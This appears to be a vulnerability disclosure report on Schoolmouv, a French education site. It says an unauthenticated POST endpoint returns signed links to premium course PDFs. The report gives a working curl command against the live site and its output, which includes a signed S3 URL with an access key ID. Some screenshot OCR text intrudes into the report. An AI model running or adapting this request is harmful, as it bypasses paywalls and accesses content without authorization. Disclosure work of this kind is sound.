# Schoolmouv access to paid files for free

### Description

The api POST request sent to \( \cours \) \( \frac{\text{matiere}}{\text{fiche-de-cours}} \) can be accessed without authentication and returns a link to access the requested pdf.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## How to replicate

The following steps can be used to demonstrate the vulnerability:

- 1. Open terminal
- 2. Run the following Curl command:

```
curl --path-as-is -k -X $'POST' -H $'Host: www.schoolmouv.fr' -H $'Next-
Action: 4f5f3f09f5e6791522c31545174e107d5302c629' -H $'Content-Type:
text/plain;charset=UTF-8' -H $'Content-Length: 83' -H $'Origin:
https://www.schoolmouv.fr' --data-binary $'[\"manipulation-des-vecteurs-
des-droites-et-des-plans-de-l-espace\",\"fiche-de-cours\"]'
$'https://www.schoolmouv.fr/cours/matiere/fiche-de-cours' --output - --
compressed
```

Note: manipulation-des-vecteurs-des-droites-et-des-plans-de-l-espace can be replaced by the name of any other lesson

```
-$ curl --path-as-is -k -X $'POST' -H $'Host: www.schoolmouv.fr' -H $'Next-Action: 4f5f3f09f5e6791522c31545174e107d53
02c629' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 83' -H $'Origin: https://www.schoolmouv.fr'
--data-binary $'[\"manipulation-des-vecteurs-des-droites-et-des-plans-de-l-espace\",\"fiche-de-cours\"]' $'https://www
.schoolmouv.fr/cours/matiere/fiche-de-cours' --output - --compressed
0:["$@1",["ZfX8iXNqaRNLNQ5ZEysqY",null]]
1:{"_tag":"Right","right":{"resourcePdf":{"url":"https://pdf-schoolmouv.s3.eu-west-l.amazonaws.com/cours/manipulation-des-vecteurs-des-droites-et-des-plans-de-l-espace/manipulation-des-vecteurs-des-droites-et-des-plans-de-l-espace_fiche
-de-cours.pdf?AWSAccessKeyId=AKIA3JEIJ5A07JLWDMOF&Expires=1739899668&Signature=8tDIxbVjDNQxbQ9iVJjljUliXFw%3D"}}}
```

3. Open the URL that is in the output to access the pdf (copy and paste the URL in any browser) C G │ ○ ○ ○ https://pdf-schoolmouv.s3.eu-west-1.amazonaws.com/cours 目 ☆ 🕣 Import bookmarks... 🤏 Kali Linux 🥻 Kali Tools 💆 Kali Docs 💢 Kali Forums 🧖 Kali NetHunter 🝬 Exploit-DB SCHOOLMOUV Cours Factorielle, k-uplet, permutation et combinaison Introduction: La découverte des ensembles a débuté en seconde avec : ·  $\mathbb{N}$ : l'ensemble des entiers naturels ;  $\cdot \mathbb{Z}$ : l'ensemble des entiers relatifs ; ·  $\mathbb{D}$  : l'ensemble des décimaux ;  $\cdot \ \mathbb{Q}$  : l'ensemble des rationnels ;  $\cdot \; \mathbb{R}$  : l'ensemble des nombres réels. Nous allons dans ce cours aborder les propriétés des ensembles finis quelconques. Plus particulièrement, nous nous attarderons sur les concepts fondamentaux permettant de calculer le nombre d'éléments (ou le cardinal) de ces ensembles.

## **Impact**

An attacker can leverage this vulnerability to access premium content for free.

### Likelihood

Any attacker on the internet can exploit this vulnerability

#### Recommendation

• Enforce the presence of cookies (session, access, etc.) in order to access the API

Principe additif et multiplicatif

• Check if the User is a valid premium user on the server side using UserID or any other Auth cookie.

# References

To run Curl command on Windows: https://inventivehq.com/how-to-install-curl-on-windows-and-how-to-use-it/

To run Curl command on Linux : https://www.cyberciti.biz/faq/download-a-file-with-curl-on-linux-unix-command-line/